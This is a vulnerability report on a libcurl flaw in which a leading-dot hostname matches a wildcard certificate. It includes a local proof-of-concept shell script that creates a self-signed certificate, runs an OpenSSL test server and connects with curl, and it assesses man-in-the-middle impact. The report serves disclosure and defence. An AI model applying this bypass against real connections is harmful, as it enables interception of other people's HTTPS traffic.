Certificate Hostname Validation Bypass via Leading Dot in Hostname

How it was found

Summary

A hostname validation bypass in libcurl's wildcard certificate matching. The hostmatch() function fails to handle hostnames starting with a dot, causing .example.com to match *.example.com.

When hostname starts with ., memchr() returns position 0, so the entire hostname including the leading dot is compared against the pattern suffix. Since *.example.com becomes .example.com after skipping *, they match.

Affected version

curl 8.17.0

Steps To Reproduce

poc.sh:

#!/bin/bash
CURL="${1:-curl}"
PORT=9443

cat > /tmp/san.cnf << 'EOF'
[req]
distinguished_name = req_distinguished_name
x509_extensions = v3_req
prompt = no
[req_distinguished_name]
CN = *.test.local
[v3_req]
subjectAltName = DNS:*.test.local
EOF

openssl req -x509 -newkey rsa:2048 -keyout /tmp/wc.key -out /tmp/wc.crt -days 1 -nodes -config /tmp/san.cnf 2>/dev/null

fuser -k $PORT/tcp 2>/dev/null
sleep 1

openssl s_server -accept $PORT -cert /tmp/wc.crt -key /tmp/wc.key -www </dev/null >/dev/null 2>&1 &
PID=$!
sleep 2

$CURL -v --max-time 5 --cacert /tmp/wc.crt --resolve ".test.local:$PORT:127.0.0.1" "https://.test.local:$PORT/" 2>&1

kill $PID 2>/dev/null
rm -f /tmp/san.cnf /tmp/wc.key /tmp/wc.crt

Run: chmod +x poc.sh ./poc.sh /path/to/curl-8.17.0

Supporting Material/References:

Vulnerable output (8.17.0):

• subject: CN=*.test.local
• subjectAltName: ".test.local" matches cert's "*.test.local"
• SSL certificate verified via OpenSSL.

GET / HTTP/1.1 Host: .test.local:9443

Expected output (7.81.0):

• subjectAltName does not match .test.local curl: (60) SSL: no alternative certificate subject name matches target host name '.test.local'

Vulnerable code: https://github.com/curl/curl/blob/400fffa90f30c7a2dc762fa33009d24851bd2016/lib/vtls/hostcheck.c#L110-L116

Impact

An attacker holding a wildcard certificate for a domain can bypass hostname verification when the client connects to a leading-dot hostname. For example, a certificate for *.example.com will incorrectly validate against .example.com.

Exploitation requires the attacker to direct the victim to connect to a leading-dot hostname. Standard DNS rejects such hostnames, so exploitation is limited to scenarios where DNS is bypassed (e.g., /etc/hosts manipulation, custom resolver configurations, or applications using libcurl's CURLOPT_RESOLVE).

If exploited, the attacker can perform man-in-the-middle attacks on HTTPS connections.